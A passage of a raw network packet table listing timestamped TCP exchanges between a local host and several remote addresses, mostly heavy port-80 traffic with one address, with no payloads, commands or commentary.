Nov 23, 2024 21:59:44.282927036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.282947063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.282990932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.283725977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.283771038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.283879042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.283921003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.284517050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.284537077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.284594059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.285187960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.285311937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.285363913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.286015034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.286120892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.286128998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.286169052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.286892891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.286952972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.287157059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.287208080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.287643909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.287695885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.287738085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.287777901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.288038015 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.288353920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.288405895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.288480043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.288527012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.288593054 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.288614988 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.289211988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.289287090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.289324999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.289345980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.289905071 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.289942980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.289971113 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.290009975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.290076017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.290132046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.290680885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.290777922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.290816069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.290875912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.291472912 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.291498899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.291551113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.291563034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.291574955 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.291623116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.291739941 CET	443	49881	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:44.291743994 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.291755915 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.291800022 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.291835070 CET	443	49877	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.292131901 CET	49881	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:44.292145967 CET	443	49881	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:44.292256117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.292299032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.292366982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.292485952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.292485952 CET	443	49881	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:44.292566061 CET	443	49880	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:44.292941093 CET	49881	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:44.293004036 CET	443	49881	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:44.293004036 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.293032885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.293081045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.293112993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.293154955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.293155909 CET	49880	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:44.293170929 CET	443	49880	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:44.293283939 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.293304920 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.293518066 CET	443	49880	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:44.293893099 CET	49880	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:44.293915033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.293946028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.293956995 CET	443	49880	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:44.294123888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.294173002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.294651031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.294698954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.294715881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.294759989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.294780970 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.294837952 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.295330048 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.295401096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.295409918 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.295453072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.295466900 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.295473099 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.295496941 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.295499086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.295550108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.295564890 CET	443	49876	52.168.112.67	192.168.2.6
Nov 23, 2024 21:59:44.296165943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.296205044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.296284914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.296329021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.296947956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.296991110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.297056913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.297099113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.297765970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.297810078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.298055887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.298110962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.298551083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.298593044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.298624039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.298671961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.299292088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.299338102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.299402952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.299540043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.300097942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.300146103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.300318003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.300679922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.300940037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.300988913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.301085949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.301131010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.301698923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.301748991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.301795006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.301836967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.302474022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.302499056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.302524090 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.302540064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.373888969 CET	49880	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:44.373899937 CET	49881	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:44.373908043 CET	49876	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.373910904 CET	49877	443	192.168.2.6	52.168.112.67
Nov 23, 2024 21:59:44.426120996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.426151991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.426242113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.426363945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.426634073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.426692963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.427165031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.427217007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.427274942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.427865982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.428272009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.428322077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.428388119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.428433895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.428730965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.428785086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.428859949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.428905964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.429511070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.429560900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.429631948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.430288076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.430344105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.430396080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.431104898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.431160927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.431282043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.431339979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.431844950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.431945086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.431993008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.432609081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.432732105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.432787895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.433655024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.433680058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.433728933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.433763981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.434189081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.434231043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.434254885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.434274912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.434969902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.435087919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.435142040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.435919046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.436093092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.436166048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.436554909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.436609983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.436661005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.437299967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.437355042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.437477112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.438133001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.438182116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.438215971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.438260078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.438889027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.439007044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.439064026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.439656019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.439774036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.439831972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.440440893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.440593004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.440645933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.441231966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.441278934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.441328049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.442038059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.442089081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.442173004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.442502975 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.442584038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.442795038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.442928076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.442980051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.443083048 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.443113089 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.443540096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.443603992 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.443609953 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.443623066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.463459969 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.464124918 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.464159012 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.464530945 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:44.464536905 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:44.528143883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.528181076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.528229952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.528253078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.528450966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.528554916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.528603077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.528616905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.529289007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.529350042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.529403925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.529460907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.530042887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.530112982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.530150890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.530211926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.530846119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.530965090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.531021118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.531665087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.531806946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.531835079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.531923056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.532469988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.532533884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.532547951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.532593012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.533185959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.533250093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.533313990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.533364058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.533960104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.534037113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.534168005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.534473896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.534764051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.534890890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.534914017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.534926891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.535561085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.535624027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.535707951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.535752058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.536334991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.536390066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.536552906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.536618948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.537085056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.537133932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.537189007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.537277937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.537870884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.537959099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.537977934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.538016081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.538712025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.538813114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.538855076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.538906097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.539589882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.539649963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.539740086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.539880037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.540539026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.540601969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.540841103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.540895939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.541774035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.541831017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.541847944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.541886091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.542489052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.542543888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.542610884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.542659044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.543142080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.543198109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.543255091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.543311119 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.543772936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.543822050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.543872118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.544054985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.544543028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.544646025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.544704914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.545293093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.545367956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.545423031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.545481920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.546092987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.546111107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.546180964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.546200991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.546650887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.546716928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.546720982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.546802998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.547302008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.547372103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.547405005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.547458887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.548096895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.548152924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.548254967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.548295975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.548897028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.548973083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.548981905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.549026012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:44.549704075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:44.549720049 CET	80	49809	185.215.113.206	192.168.2.6
